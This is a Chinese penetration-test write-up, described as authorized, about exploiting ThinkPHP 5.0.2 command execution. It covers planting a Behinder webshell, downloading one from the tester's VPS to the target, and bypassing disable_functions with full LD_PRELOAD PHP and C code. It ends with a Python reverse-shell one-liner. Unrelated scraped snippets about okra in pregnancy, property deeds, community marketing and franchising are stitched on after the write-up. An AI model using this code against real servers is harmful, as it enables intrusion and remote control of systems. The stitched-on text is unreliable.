一次授权测试中,发现网站是ThinkPHP 5.0.2搭建的
漏洞存在ThinkPHP 5.0.2 命令执行
尝试写入冰蝎3.0的马
汰,写入报错发现是&的问题。将&url编码。再次尝试
链接失败。
经过本地尝试,发现是+的问题,再写入后,将+变为了空格。将其url编码,再次写入
链接发现失败,继续肝。
除了写入,还可以使用PHP中的copy函数,在vps上开启服务,将vps的马子,直接下载至目标服务器上
链接成功,接下来肯定是whoami一下。
查看disable_functions,发现是可爱的宝塔禁用了passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru
还有啥是宝塔不能禁的。。。还能怎么办,接着肝,在网上学习了大佬的帖子
https://www.meetsec.cn/index.php/archives/44/
尝试利用LD_PRELOAD绕过disable_functions
直接上代码
bypass_disablefunc.php
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd=$_GET["cmd"];
$out_path=$_GET["outpath"];
$evil_cmdline=$cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path=$_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>
bypass_disablefunc.c
#define _GNU_SOURCE
#include stdlib.h
#include stdio.h
#include string.h
extern char environ;
__attribute__ ((__constructor__)) void preload (void)
{
get command line options and arg
const char cmdline=getenv(EVIL_CMDLINE);
unset environment variable LD_PRELOAD.
unsetenv(LD_PRELOAD) no effect on some
distribution (e.g., centos), I need crafty trick.
int i;
for (i=0; environ[i]; ++i) {
if (strstr(environ[i], LD_PRELOAD)) {
environ[i][0]='0';
}
}
executive command
system(cmdline);
}
用命令 gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so 将 bypass_disablefunc.c 编译为共享对象 bypass_disablefunc_x64.so:
要根据目标架构编译成不同版本,在 x64 的环境中编译,若不带编译选项则默认为 x64,若要编译成 x86 架构需要加上 -m32 选项。
通过冰蝎上传,然后测试效果:
命令执行成功。Nc反弹shell
提示没有-e的参数,直接使用python反弹
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
反弹成功
总结:这次的测试,写入冰蝎的过程要注意编码问题。然后就是利用LD_PRELOAD绕过disable_functions。
孕妇吃秋葵能够 填补身体需要的营养元素,做到防止缺铁性贫血的功效,并且秋葵也是较为合适长期性服用的,可是针对过敏性体质及其胃肠不好的孕妈妈就不必试着了,那麼孕妇吃秋葵有什么益处呢?下面我就而言一说。...
相信现在有很多的朋友们对于房产证办理时限是多久流程又是怎样的呢都想要了解吧,那么今天小编就来给大家针对房产证办理时限是多久流程又是怎样的呢进行一个介绍吧,希望小编介绍的内容能够为大家起到帮助哦 1、根...
社群是对运营者在整体架构中保持较高机动性要求极高的一个运营岗亭。在各类机动的操纵进程中,如何僵持大偏向稳定,整体向前的敦促力稳定,是所有运营者都应该思考的问题。 01 之前写过关于社群运营文章引起了...
受疫情影响,物流不畅,品牌商无法通过本来的形式毗连到用户,却意外地发明社区社群这一新路径。差异以往的平台商当主角,或者通过该路径,品牌商可以或许得到主导互联网贸易的时机。 没有社区社群,品牌商无法普...
疫情爆发以来,快速发展的行业除了生鲜电商、在线教育、远程办公等产业,还有服务机器人。 虽然服务机器人已不是新奇事物,但疫情催生出的机器人应用新场景不断涌现,消毒机器人、测温机器人等无接触、高效率、抗感...
赚钱盈利是人们创业加盟最终实现的基础方针,可是竞争如此剧烈的海内市场,选择什么行业才气轻松开店快速回本?虽然是餐饮行业,被人们称之为“刚需行业”的餐饮业,在海内经济市场上成为主导气力,而且深受社会各界...